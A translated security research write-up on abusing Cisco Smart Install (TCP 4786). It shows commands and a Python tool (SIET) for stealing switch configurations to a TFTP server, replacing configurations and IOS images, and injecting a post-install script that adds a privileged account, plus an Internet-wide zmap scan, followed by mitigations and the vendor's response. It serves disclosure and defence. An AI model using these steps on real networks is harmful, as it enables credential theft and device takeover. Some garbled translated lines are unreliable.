Good time of day! It was impossible even to imagine that the usual “student” topic proposed for the summer internship at Digital Security could grow into a full-fledged security study.
On the technology itself, hardware requirements, etc., of course, it is best to read on the manufacturer's website:
Cisco Smart Install .
If in a nutshell: “Smart Install is a technology that allows you to automate the process of initially setting up the configuration and downloading the actual operating system image for the new network switch. This means that, being taken out of the box, it can be immediately installed in its permanent place and all the necessary data for its initial work will be delivered over the network without administrator participation. In the process, the technology also provides backup configuration when it changes. "
')
Accordingly, to make it all work, the technology is enabled by default. A complete list of devices where this technology is used can be found on the manufacturer's website:
Cisco Smart Install Supported devices .
It is important to understand that all the attacks described below will touch “Clients”.
The first thing, of course, is to recreate the existing Cisco Smart Install infrastructure model and at first there was confidence that this could be done in a “virtual” environment (
gns3 - for example), but after a long unsuccessful search for an image of a device with Smart Install from had to refuse.
Here the case helped a lot. At my disposal by chance (one project remained unfinished) turned out to be equipment suitable for recreating a test environment for researching technology.
Test environment and configuration
- Cisco Director 2901 (CISCO2901 / K9) 15.0 (1r) M15
- Director (2) Cisco Catalyst 3750 (WS-C3750X-48P) 15.2 (4) E2
- Client1 Cisco Catalyst 2960 (WS-C2960-48TT-L) 15.0 (2) SE10
- "Client2" Cisco Catalyst 2960S (WS-C2960S-48TS-L) 15.2 (2a) E
- "TFTP-server" Desktop Windows 7 x64, TFTPd64
- "Console" Desktop Windows 7 x64, com1, PuTTy
- "Notebook" Notebook Windows 7 x64, CentOS 7 x64, WireShark (2.0.5)
Smart Install Configuration snippet:
vstack group custom c2960Lan product-id image tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar config tftp://192.168.1.5/c2960-lanbase_config.txt match WS-C2960-48TT-L <- Group based on Product ID vstack group custom c2960SLan product-id image tftp://192.168.1.5/c2960s-universalk9-tar.152-2a.E1.tar config tftp://192.168.1.5/c2960SLan_confg match WS-C2960S-48TS-L <- Group based on Product ID ! vstack dhcp-localserver LANPOOL address-pool 192.168.1.0 255.255.255.0 file-server 192.168.1.5 default-router 192.168.1.1 ! vstack director 192.168.1.1 vstack basic vstack startup-vlan 1 vstack backup file-server tftp://192.168.1.5/
As you can see from the above configuration, I used device grouping by Product ID.
After downloading the “Clients” and registering them with the “Director”, we get the following picture:
Director
First attempts
For some reason, each time before studying any completely new topic for me, the lines from the immortal work of Lewis Carroll's “Alice in Wonderland” pop up when the King asks Rabbit to read poems - the main evidence in court:
Where to start, your majesty? - asked White Rabbit.
Start at the beginning, ”said the King solemnly,“ and continue until you reach the end. Then stop! (translated by Boris Zakhoder)
I will try to start from the beginning, i.e. just look at the system from the side.
I connect the laptop to the “Director” network and receive network parameters from it via DHCP. I launch Wireshark and watch the network packets that come to the network card.
Of course, I didn’t see anything interesting. Here again the case intervened: I didn’t like how the network wire goes to “Client 2”. Disconnecting it, I laid the cord "better" and turned on the switch.
When Client 2 receives the network parameters from the Director, I observe a broadcast packet — a response to a DHCP request that, in addition to the network settings, contains specific parameters for the Director network, in particular, the location and the backup configuration file name:
Almost in minutes, the algorithm of exploitation of the found "vulnerability" was formed:
- We scan the network for availability of the “Smart Install” port (tcp 4786).
- We form and send a broadcast packet - request for network parameters for found devices (substitute the MAC address of this device in the DHCP request):
- We accept a broadcast response from the "Director", containing information about the location of the backup configuration of the device found
- “Download” the configuration file from the TFTP server to your local disk.
It turns out that if you manage to connect to the network with a “working” Smart Install, it will not be difficult to collect all backup copies of the “Clients” configurations, find out the network topology and, if lucky, get the network equipment administrator password.
Replacing device configuration file
Next, I decided to collect the network packets sent by the “Director” to the “Client”, while recruiting commands to force configuration and software updates.
In order to “listen” on all network traffic on the port, Cisco has a great tool: monitor session.
On the “Director”, I configure the “mirroring” of network traffic from the port to which the “Client 1” is connected to the port to which the Notebook is connected:
monitor session 1 source interface FastEthernet0 / 1
monitor session 1 destination interface FastEthernet0 / 2
I launch Wireshark and watch the network packets that come to the network card.
On the “Director”, I consistently give commands to forcefully update the configuration of “Client 1”:
- #vstack download-config tftp: //192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup - without rebooting the device;
- #vstack download-config tftp: //192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup reload - with immediate reboot of the device;
- #vstack download-config tftp: //192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup reload in 23:28 - with a delayed reboot of the device (at 23 hours and 28 minutes).
If you compare the syntax of the vstack download-config command with the commands that I build, you will find that I have “NONE” for the “password of the client switch” parameter. In principle, there can be any sequence of characters, because: “The password is Smart Install-capable. Install the Smart Install network ”from the description on the Cisco website.
Matching network packets:
Without much hope of success using Python 2.7 with the socket package, I tried to create and send similar network packets to Client 1 from a laptop (the laptop connected the Director to the “normal” port — without mirroring).
"Client 1" handled the commands as well as when they were received from the "Director"!
It turns out that you can load an arbitrary configuration file on the “Client” and thereby gain complete control over it. True, its current configuration will be lost, so for now this is only a “denial of service”.
In the process of research it became obvious that it was necessary to write a tool that would carry out all the attacks. Python was chosen as the language. The result is posted on the
githaba .
In order to replace the device configuration, you need a configuration file, if you do not have one, and you want to try it, the utility can create a default one, with the possibility of further access via telnet.
sudo python siet.py - -i 192.168.1.4
IOS Image Replacement
Continuing to watch the network packets exchanged between the director and the client. An idea arose: if it was possible to replace the device configuration file, why not see the whole IOS as a whole. The protocol for this provides for the appropriate features:
- # vstack download-image tar tftp: //192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar 192.168.1.2 NONE override reload - with immediate reboot of the device;
- # vstack download-image tar tftp: //192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar 192.168.1.2 NONE override reload in 23:15 - with a delayed reboot of the device (at 23 hours and 15 minutes). - with delayed reboot of the device (for 23 hours and 15 minutes).
Matching network packets:
The experiment with sending these packages from the Attacker’s laptop ended the same way as the previous one — Client 1 behaved the same way if the IOS update commands came from the Director.
And it dawned on me that it doesn’t matter if you use Smart Install, whether there are Directors and Clients in your network. Protocol commands will be processed anyway.
Theoretically, it turns out that there is an opportunity to prepare an IOS image filled with all the “bookmarks” we need, and “upload” it to the network switch.
I tried this way to update the configuration and IOS of the new Cisco 2960 switch out of the box - successfully.
It turns out that all devices that meet the requirements of Smart Install “Clients” even in the absence of the “Director” are susceptible to commands for updating configuration and software!
You can try to update the image with the command:
sudo python siet.py –u –i 192.168.1.3
The upgrade process will prompt for an IOS image file. How to embed your own code in the IOS firmware can be found
here .
Stealing configuration files from devices
At the time of completion of the work described earlier, it seemed to me that the internship program, in general, was completed. The subject of study studied. Vulnerability found and successfully used for unauthorized access to the network switch.
However, the head of the
GrrrnDog internship (for which he
received a special “thank you”) convinced of the need to continue studying the protocol in order to find an opportunity to “take” the configuration from the device directly.
I was interested in the moment in the “Smart Install” technology, dedicated to automatic backup of the device, either when writing a configuration (
write memory command in the “Client” console) or when reloading the “Director”.
On the Client 2 console, I give the command to write the configuration to non-volatile memory (write memory).
The network package from the “Director” to create a backup copy of the configuration contained three “copy” commands:
opy tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2 to flash:SW_EXT-a8b1.d464.2480.tmp
opy nvram:startup-config to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2
opy flash:SW_EXT-a8b1.d464.2480.tmp to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV1
You can see that the previous backup configuration is also saved.
I did not escape the temptation to insert into the network packet a slightly different sequence of commands, for example, the following:
configure terminal username cisco privilege 15 secret 0 cisco exit
But, unfortunately, apart from the “copy” commands, the “Client” perceives nothing. In the process of compiling an “unambiguously working” network package, it turned out that the Cisco Catalyst “Clients” with an IOS version higher than 15.0, the first command must be a copy-to-flash command.
As a result, the packet initiating on the “Client” the transfer of its configuration to our TFTP server consists of two commands:
copy nvram:startup-config flash:/config.text copy nvram:startup-config tftp://192.168.1.5/client.conf
Thus, it remained for small, to add to the utility the ability to send such packages, which was successfully done. Team:
sudo python siet.py -g -i 192.168.0.4
You can try to copy the configuration file to your device, edit it as necessary (for example, by adding yourself to administrators) and apply it on the remote device.
After some operating experience, we found out that sometimes it is useful to massively copy configuration files from a large number of devices, in order to collect the largest possible number of passwords for privileged users. Unfortunately, the first version of the utility did it slowly and the single-threaded tftp server could not cope with the massive influx of files.
Multithreading has been added to the utility, but so far it has not been fully tested.
sudo python SIET2/siet2.1.py –l list.txt –g
where list.txt is a file with a list of ip-addresses with an open port 4786. And then it's up to grep.
How many of you?
After finding the opportunity not only to cause a denial of service, but also to steal the device configuration and, in theory, to get full access over it, it was decided to scan the Internet in order to find out how many devices you can find in the “wild”.
Since a simple scan on the tcp 4786 port would not be completely objective (the “Directors” also have this port), we needed a way to identify such devices.
For this purpose, nmap samples (https://svn.nmap.org/nmap/nmap-service-probes) are perfectly suited to help them determine the versions of the services:
match cisco-smartinstall m|^\0\0\0\x04\0\0\0\0\0\0\0\x04\0\0\0\x04\0\0\0\x01| p/Cisco Switch Smart Install/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a
Then it’s easy to organize, scan the Internet and send samples to detected devices, and record the answer. This is where zmap in combination with zgrab comes to the rescue:
zmap -r 10000 -p 4786 -o - | ./zgrab -timeout=10 -port=4786 -data probe.txt -output-file=banners.json
As a result, 251801 devices were found. But, unfortunately, this result is hardly accurate, since there is no certainty that this nmap test is suitable for all devices. Devices with an open port 4786 were found around 9 million, but most of them are routers and are not subject to these attacks.
Execution of commands on the device
After realizing the opportunities opened by us, it was decided to tell about the work done at the conference on information security issues, ZeroNight 2016.
In the process of preparing the report for the conference, I again visited the page on the Cisco website with a description of the Smart Install technology and found that the developers added new functionality — the ability to specify the console commands to be performed after successfully initializing the new device on the Smart Install network. These commands are made in the form of a file, so-called. "Post install script".
An example of such a file (shown on the
Cisco website):
"sdm prefer degault" "vlan 12" "name TEST" "exit"
Obviously, each line in the file is a sequence of commands typed after entering the terminal configuration mode on the switch (configure terminal). This idea is suggested by the presence of "exit" at the end of the second line.
To research this new functionality, I had to take Cisco Catalyst 3750 (WS-C3750X-48P), IOS 15.2 (4) E2 as the “Director”. The configuration was copied from the old “Director”, and added the following line to the settings section of the “c2960SLan” group:
script tftp://192.168.1.5/c2960-lanbase_post_install.txt
I form a file - “post install script”:
c2960-lanbase_post_install.txt: "interface GigabitEthernet1/0/1" "desc TEST" "exit" "username ccc privilege 15 secret 0 cisco" "exit“
I "clear" the configuration of "Client 2" (the write erase command) and reboot it. Together with the IOS update process that we already know and the loading of a typical configuration, the contents of the c2960-lanbase_post_install.txt file are read and the commands written in it are executed.
The network packet received by Client 2 from the Director looks like this:
It turned out that in order to download and execute commands from the “Client” file, it is enough to transfer only the information about the location of this file in the network package (the rest is filled with “zeros”).
The “focus” looks very impressive when we try to log in unsuccessfully on the device under the user ccc, but after sending our network package to the “Client”, the authorization “passes” suddenly.
Detected limitations:
- the IOS version of the “Client” is only higher or equal to 15.2 (at 15.0 it no longer works);
- the switch can only accept one such packet until the next reboot;
- you cannot include the save configuration command in the script (“do-exec wr”) - emergency reboot.
Ways to protect
In my opinion, the easiest way to solve this problem is to add an “iron toggle switch” that includes a protocol functionality, if necessary. Thus, the concept of “Zero-Touch Installation” will not be violated. Those who do not use the capabilities of the protocol will not compromise their devices.
For already released devices, you need to disable Smart Install if it is not used. You can do this with the no vstack command in the device console. After that, the output of the show vstack config command should become something like the following:
switch
Still, competent application of Cisco Smart Install allows you to efficiently manage network equipment consisting of a large number of devices. Especially this efficiency is manifested in the management of a network distributed across different buildings and even regions.
Almost 100% to protect yourself from the attacks described above is possible by including in standard equipment configurations access list settings (access-list), which explicitly indicate the IP addresses of the “Directors” from which it is possible to receive network packets to the Smart Install port (tcp 4786 ).
I will give an example of such a "Client" configuration for the test environment described in this article:
interface Vlan1 ip address dhcp ip access-group 101 in ! access-list 101 permit tcp host 192.168.1.1 192.168.1.0 0.0.0.255 eq 4786 access-list 101 permit tcp any any neq 4786 access-list 101 permit udp any any access-list 101 deny ip any any !
Vendor reaction
After reporting to Cisco about problems found. We received a response similar to the following:
This is not a vulnerability.
In the Cisco IOS, IOS XE, or the Smart Install feature, it doesn’t require authentication by design.
The company updated the protocol information
on its website , adding a section warning the user about possible danger.
And after 3 months, they expressed gratitude for the study and publicly, once again,
reported the problem .
Epilogue and thanks
This publication is the result of our collaboration with
sabotaged . He wrote all the material on the exploitation of the found vulnerabilities.
I repeat, but I would like to express special thanks to the head of the
GrrrnDog internship, without which there would be neither this topic, nor this research, nor, of course, this article.